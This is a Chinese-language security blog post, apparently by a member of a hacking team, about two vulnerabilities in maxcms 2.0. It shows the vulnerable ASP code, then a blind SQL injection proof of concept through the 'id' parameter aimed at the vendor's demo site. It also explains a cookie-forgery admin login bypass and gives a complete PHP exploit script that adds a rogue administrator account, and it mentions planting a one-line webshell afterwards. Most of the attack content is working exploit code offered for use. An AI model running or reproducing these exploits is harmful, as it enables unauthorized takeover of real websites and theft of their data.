凌风[0x0F]'s BloG

 

看代码

 

 

incajax.asp

 

dim action : action = getForm("action", "get")

response.Charset="gbk"

 

Select case action

    case "newslist" : viewNewsList

    case "newscontent" : viewNewsContent

    case "digg","tread" : scoreVideo(action)

    case "reporterr" : reportErr

    case "hit" : updateHit

    case else : main

End Select

terminateAllObjects

 

……

 

Sub scoreVideo(operType)

    dim sql,id,digg,returnValue : id=getForm("id","get") 

    ‘通过get方式获取id的值

    if rCookie("maxcms2_score"&id)="ok" then die "havescore"

    if isNul(id) then die "err"

    'on error resume next

    digg=conn.db("select m_digg from {pre}data where m_id="&id,"execute")(0)

    ‘ 参数id，没有过滤就带入sql语句进行查询

    if err then digg=0 : err.clear()

    if not isNum(id) then echoSaveStr "safe" else id=clng(id)

    ‘ 查询到digg，注意返回的内容

 

 

……利用就很简单了，构造sql语句提交（默认结构是m_manager,m_username,m_pwd，根据返回的内容判断就可以了。如果构造的语句是正确的，就返回类似警告

 

你提交的数据有非法字符，你的IP【xxxx】已被记录,操作

 

构造的语句不正确，则返回500

Poc :

 

正确的:

http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97

 

    不正确的：

http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99

 

其实随便找个注射工具跑一下就ok了

 

管理员认证绕过漏洞

 

maxcms后台有自动升级功能，ajax的那个注射被修补了，但是这个漏洞还是没有修补。在上一贴有同学问是否能绕过认证，答案是肯定的，但是前提是要知道后台目录地址

 

回顾下漏洞代码

 

Sub checkPower      dim loginValidate,rsObj : loginValidate = "maxcms2.0"     err.clear      on error resume next      set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username='"&rCookie("m_username")&"'","execute")      loginValidate = md5(getAgent&getIp&rsObj(0))      if err then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>"      if rCookie("check"&rCookie("m_username"))<>loginValidate then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>"     checkManagerLevel rsObj(1)      set rsObj=nothing End Sub 其中

 

Function rCookie(cookieName)      rCookie = request.cookies(cookieName) End Function 关键就是这个变量的值 loginValidate = md5(getAgent&getIp&rsObj(0))

通过伪造cookie可以轻松绕过这段认证代码，之后就可以添加新管理员或者修改配置文件插入一句话木马

 

我这里贴一个添加新管理员的exp

 

<?php print_r(' +---------------------------------------------------------------------------+ maxcms2.0 creat new admin exploit by Flyh4t team:wolvez security team site:bbs.wolvez.org dork:salemax#qq.com +---------------------------------------------------------------------------+ ');   if ($argc < 3) {      print_r(' +---------------------------------------------------------------------------+ Usage: php '.$argv[0].' host path host:      target server (ip/hostname) path:      path to maxcms Example: php '.$argv[0].' localhost /maxcms2/   +---------------------------------------------------------------------------+ ');      exit; }   error_reporting(7); ini_set('max_execution_time', 0);   $host = $argv[1]; $path = $argv[2]; $name = rand(1,10000); $cmd = 'm_username=flyh4t'.$name.'&m_pwd=wolvez&m_pwd2=wolvez&m_level=0';   $resp = send($cmd); if (!eregi('alert',$resp)) {echo"[~]bad luck,exploit failed";exit;}   print_r(' +---------------------------------------------------------------------------+ [+]cool,exploit seccuss [+]you have add a new adminuser flyh4t'.$name.'/wolvez +---------------------------------------------------------------------------+ ');    function send($cmd) {      global $host, $path;      $message = "POST ".$path."admin/admin_manager.asp?action=add HTTP/1.1";      $message .= "Accept: */*";      $message .= "Referer: http://$host$path";      $message .= "Accept-Language: zh-cn";      $message .= "Content-Type: application/x-www-form-urlencoded";      $message .= "User-Agent: flyh4t";      $message .= "X-Forwarded-For:1.1.1.1";      $message .= "Host: $host";      $message .= "Content-Length: ".strlen($cmd)."";      $message .= "Cookie: m_username=flyh4t'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin; m_level=0; checkflyh4t'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin=7728a57dcd5ae1e69cf0aee02ba66de6";      $message .= "Connection: Close";      $message .= $cmd;      echo $message;       $fp = fsockopen($host, 80);      fputs($fp, $message);       $resp = '';       while ($fp && !feof($fp))      $resp .= fread($fp, 1024);      echo $resp;      return $resp; } ?>